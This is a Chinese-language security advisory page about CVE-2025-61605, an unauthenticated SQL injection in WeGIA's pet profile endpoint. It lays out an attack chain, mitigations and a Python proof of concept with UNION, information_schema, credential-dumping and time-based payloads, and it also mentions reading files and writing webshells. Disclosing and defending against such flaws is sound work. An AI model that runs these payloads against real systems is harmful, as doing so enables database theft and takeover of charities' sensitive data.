IPBUF安全漏洞报告
English
CVE-2025-61605 CVSS 9.8 严重

CVE-2025-61605:WeGIA管理平台SQL注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-61605
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WeGIA(开源慈善机构Web管理系统)

相关标签

SQL注入WeGIA慈善管理系统开源软件未授权访问高危漏洞数据库安全PHP

漏洞概述

CVE-2025-61605是WeGIA开源Web管理系统中存在的一个严重SQL注入漏洞。WeGIA是一款专注于慈善机构管理的开源Web应用,提供捐赠管理、宠物档案、人员信息等多种功能模块。该漏洞存在于WeGIA 3.4.12及以下版本中,具体位于/pet/profile_pet.php端点的id_pet参数处。由于该参数未经过充分的输入验证和参数化处理,攻击者可以通过构造恶意的SQL语句注入到数据库查询中,从而执行任意SQL命令。

该漏洞的CVSS评分为9.8,属于严重级别,攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。这意味着远程未授权攻击者可以轻松利用此漏洞,完全控制底层数据库,窃取敏感信息、篡改数据,甚至可能导致整个系统不可用。

由于WeGIA主要用于慈善机构,涉及捐赠者信息、受助人资料等敏感数据,该漏洞的危害性尤为严重。攻击者可以利用此漏洞获取慈善机构的全部敏感数据,包括捐赠记录、个人身份信息等,对隐私保护和数据安全构成重大威胁。该漏洞已在3.5.0版本中修复,建议所有受影响用户尽快升级。

技术细节

该SQL注入漏洞位于WeGIA的/pet/profile_pet.php端点,具体出现在id_pet参数的处理过程中。在正常情况下,该参数应当是一个用于查询特定宠物档案记录的整数ID。然而,由于开发人员在编写数据库查询语句时未采用参数化查询(Prepared Statements)或预编译语句,而是直接将用户输入拼接到SQL查询字符串中,导致攻击者可以通过注入恶意SQL片段来操纵查询逻辑。

攻击者可以通过发送类似以下格式的HTTP请求来利用此漏洞:在id_pet参数中传入诸如' OR '1'='1之类的注入载荷,或者使用UNION SELECT语句从其他数据表中提取敏感数据。由于攻击无需任何认证(PR:N),且通过网络即可发起(AV:N),远程攻击者只需向目标端点发送精心构造的请求即可触发漏洞。

利用成功后,攻击者可以执行任意SQL命令,包括但不限于:使用UNION查询提取数据库中的所有表和数据;通过information_schema获取数据库结构信息;利用LOAD_FILE()读取服务器上的敏感文件;在某些配置下甚至可以通过INTO OUTFILE写入Webshell,实现远程代码执行。整个攻击过程无需用户交互,可完全自动化执行,对目标系统构成极高的安全威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统是否运行WeGIA 3.4.12及以下版本,通过访问/pet/profile_pet.php端点确认目标存在。
STEP 2
步骤2:漏洞探测
攻击者向/pet/profile_pet.php端点发送带有恶意id_pet参数的请求,通过注入测试载荷(如单引号、OR条件等)确认SQL注入漏洞的存在。
STEP 3
步骤3:数据库信息提取
利用UNION SELECT注入技术,攻击者从information_schema中获取数据库结构信息,包括所有表名、列名等元数据。
STEP 4
步骤4:敏感数据窃取
攻击者通过构造UNION查询,提取数据库中的敏感数据,包括用户凭证、个人身份信息、捐赠记录等。
STEP 5
步骤5:权限提升或持久化
在某些数据库配置下,攻击者可利用SQL注入写入Webshell或修改管理员账户信息,实现对系统的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61605 PoC - WeGIA SQL Injection # Vulnerability: SQL Injection in /pet/profile_pet.php via id_pet parameter # Affected versions: WeGIA <= 3.4.12 # Fixed in: WeGIA 3.5.0 import requests TARGET_URL = "http://target-wegia.com" ENDPOINT = "/pet/profile_pet.php" def exploit_sql_injection(target_url, payload): """ Exploit SQL injection in id_pet parameter """ url = f"{target_url}{ENDPOINT}" params = { "id_pet": payload } try: response = requests.get(url, params=params, timeout=10) return response.text except Exception as e: return f"Error: {e}" # Test 1: Basic boolean-based injection to confirm vulnerability payload1 = "1' OR '1'='1" print("[*] Testing boolean-based SQL injection...") result = exploit_sql_injection(TARGET_URL, payload1) print(f"[+] Response length: {len(result)}") # Test 2: UNION-based injection to extract database version payload2 = "1' UNION SELECT 1,version(),3,4,5-- -" print("[*] Extracting database version via UNION injection...") result = exploit_sql_injection(TARGET_URL, payload2) print(f"[+] Result: {result[:500]}") # Test 3: Extract table names from information_schema payload3 = "1' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" print("[*] Extracting table names...") result = exploit_sql_injection(TARGET_URL, payload3) print(f"[+] Tables: {result[:500]}") # Test 4: Extract user credentials (example) payload4 = "1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM usuario-- -" print("[*] Extracting user credentials...") result = exploit_sql_injection(TARGET_URL, payload4) print(f"[+] Credentials: {result[:500]}") # Test 5: Time-based blind injection import time payload5 = "1' AND SLEEP(5)-- -" print("[*] Testing time-based blind injection...") start = time.time() exploit_sql_injection(TARGET_URL, payload5) elapsed = time.time() - start print(f"[+] Response time: {elapsed:.2f} seconds (expected ~5s if vulnerable)")

影响范围

WeGIA <= 3.4.12

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,过滤常见的注入载荷;2)在反向代理层面限制对/pet/profile_pet.php端点的访问,仅允许可信IP访问;3)对id_pet参数实施输入验证,确保其仅为整数类型;4)监控数据库日志,检测异常的SQL查询活动;5)尽快升级到WeGIA 3.5.0或更高版本以彻底修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表